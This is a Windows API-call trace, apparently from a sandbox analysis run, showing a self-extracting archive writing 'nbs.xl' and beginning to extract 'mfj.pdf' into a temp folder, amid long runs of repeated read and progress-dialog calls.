[0068.329] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.329] ReadFile (in: hFile=0x1c, lpBuffer=0x27042b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.329] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.329] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.329] GetTickCount () returned 0x1fb2f [0068.329] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.329] ReadFile (in: hFile=0x1c, lpBuffer=0x27042b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.329] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.329] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.329] GetTickCount () returned 0x1fb2f [0068.329] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.329] ReadFile (in: hFile=0x1c, lpBuffer=0x27042b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.329] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.329] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.329] GetTickCount () returned 0x1fb2f [0068.329] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.329] ReadFile (in: hFile=0x1c, lpBuffer=0x27042b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.329] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.329] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.329] GetTickCount () returned 0x1fb2f [0068.329] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.329] ReadFile (in: hFile=0x1c, lpBuffer=0x27042b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.329] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.329] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.329] GetTickCount () returned 0x1fb2f [0068.329] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.329] ReadFile (in: hFile=0x1c, lpBuffer=0x27042b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.329] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.329] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.329] GetTickCount () returned 0x1fb2f [0068.329] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.329] ReadFile (in: hFile=0x1c, lpBuffer=0x27042b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.329] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.329] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.329] GetTickCount () returned 0x1fb2f [0068.329] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.329] ReadFile (in: hFile=0x1c, lpBuffer=0x27042b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.329] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.329] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.329] GetTickCount () returned 0x1fb2f [0068.329] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.329] ReadFile (in: hFile=0x1c, lpBuffer=0x27042b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.329] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.329] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.330] GetTickCount () returned 0x1fb2f [0068.330] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.330] ReadFile (in: hFile=0x1c, lpBuffer=0x27042b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.330] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.330] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.330] GetTickCount () returned 0x1fb2f [0068.330] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.330] ReadFile (in: hFile=0x1c, lpBuffer=0x27042b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.330] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.330] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.330] GetTickCount () returned 0x1fb2f [0068.330] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.330] ReadFile (in: hFile=0x1c, lpBuffer=0x27042b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.330] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.330] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.330] GetTickCount () returned 0x1fb2f [0068.330] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.330] ReadFile (in: hFile=0x1c, lpBuffer=0x27042b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.330] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.330] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.330] GetTickCount () returned 0x1fb2f [0068.330] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.330] ReadFile (in: hFile=0x1c, lpBuffer=0x27042b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.330] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.330] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.330] GetTickCount () returned 0x1fb2f [0068.330] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.330] ReadFile (in: hFile=0x1c, lpBuffer=0x27042b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.330] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.330] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.330] GetTickCount () returned 0x1fb3f [0068.330] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.330] ReadFile (in: hFile=0x1c, lpBuffer=0x27042b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.330] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.330] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.330] GetTickCount () returned 0x1fb3f [0068.330] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.330] ReadFile (in: hFile=0x1c, lpBuffer=0x27042b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.330] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.330] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.330] GetTickCount () returned 0x1fb3f [0068.330] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.330] ReadFile (in: hFile=0x1c, lpBuffer=0x27042b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.330] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.330] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.330] GetTickCount () returned 0x1fb3f [0068.330] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.331] ReadFile (in: hFile=0x1c, lpBuffer=0x27042b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.331] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.331] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.331] GetTickCount () returned 0x1fb3f [0068.331] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.331] ReadFile (in: hFile=0x1c, lpBuffer=0x27042b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.331] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.331] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.331] GetTickCount () returned 0x1fb3f [0068.331] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.331] ReadFile (in: hFile=0x1c, lpBuffer=0x27042b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.331] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.331] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.331] GetTickCount () returned 0x1fb3f [0068.331] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.331] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x202, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x202, lpOverlapped=0x0) returned 1 [0068.332] GetTickCount () returned 0x1fb3f [0068.332] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.332] SetFilePointer (in: hFile=0x1c, lDistanceToMove=868288, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd3fc0 [0068.332] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.332] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.332] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.332] CloseHandle (hObject=0x138) returned 1 [0068.332] SetFileAttributesA (lpFileName="nbs.xl", dwFileAttributes=0x20) returned 1 [0068.333] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd3fc0 [0068.333] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.333] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0068.333] OemToCharA (in: pSrc="mfj.pdf", pDst=0x179cc0 | out: pDst="mfj.pdf") returned 1 [0068.333] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="mfj.pdf", cchCount2=1) returned 1 [0068.333] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="mfj.pdf", cchCount2=6) returned 1 [0068.333] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="mfj.pdf", cchCount2=-1) returned 1 [0068.333] SetFilePointer (in: hFile=0x1c, lDistanceToMove=868332, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd3fec [0068.333] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="mfj.pdf") returned 8 [0068.333] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x41aab8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.333] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting mfj.pdf") returned 18 [0068.333] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting mfj.pdf") returned 1 [0068.334] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.334] OemToCharBuffA (in: lpszSrc="m", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="m") returned 1 [0068.334] CharToOemBuffA (in: lpszSrc="M", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="M") returned 1 [0068.334] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="mfj.pdf") returned 8 [0068.334] FindFirstFileW (in: lpFileName="mfj.pdf", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.334] GetLastError () returned 0x2 [0068.334] GetFileAttributesA (lpFileName="mfj.pdf" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\mfj.pdf")) returned 0xffffffff [0068.334] CreateFileA (lpFileName="mfj.pdf" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\mfj.pdf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.334] GetFileType (hFile=0x138) returned 0x1 [0068.334] SetFilePointer (in: hFile=0x138, lDistanceToMove=607, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x25f [0068.334] SetEndOfFile (hFile=0x138) returned 1 [0068.334] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.334] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1e8, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1e8, lpOverlapped=0x0) returned 1 [0068.334] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.334] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.334] GetTickCount () returned 0x1fb3f [0068.334] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.334] ReadFile (in: hFile=0x1c, lpBuffer=0x270470, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270470*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.334] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.334] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.335] GetTickCount () returned 0x1fb3f [0068.335] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.335] ReadFile (in: hFile=0x1c, lpBuffer=0x270470, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270470*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.335] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.335] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.335] GetTickCount () returned 0x1fb3f [0068.335] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.335] ReadFile (in: hFile=0x1c, lpBuffer=0x270470, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270470*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.335] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.335] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.335] GetTickCount () returned 0x1fb3f [0068.335] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.335] ReadFile (in: hFile=0x1c, lpBuffer=0x270470, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270470*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.335] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.335] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.335] GetTickCount () returned 0x1fb3f [0068.335] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.335] ReadFile (in: hFile=0x1c, lpBuffer=0x270470, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270470*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.335] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.335] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.335] GetTickCount () returned 0x1fb3f [0068.335] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.335] ReadFile (in: hFile=0x1c, lpBuffer=0x270470, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270470*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.335] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.335] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.335] GetTickCount () returned 0x1fb3f [0068.335] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.335] ReadFile (in: hFile=0x1c, lpBuffer=0x270470, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270470*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.335] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 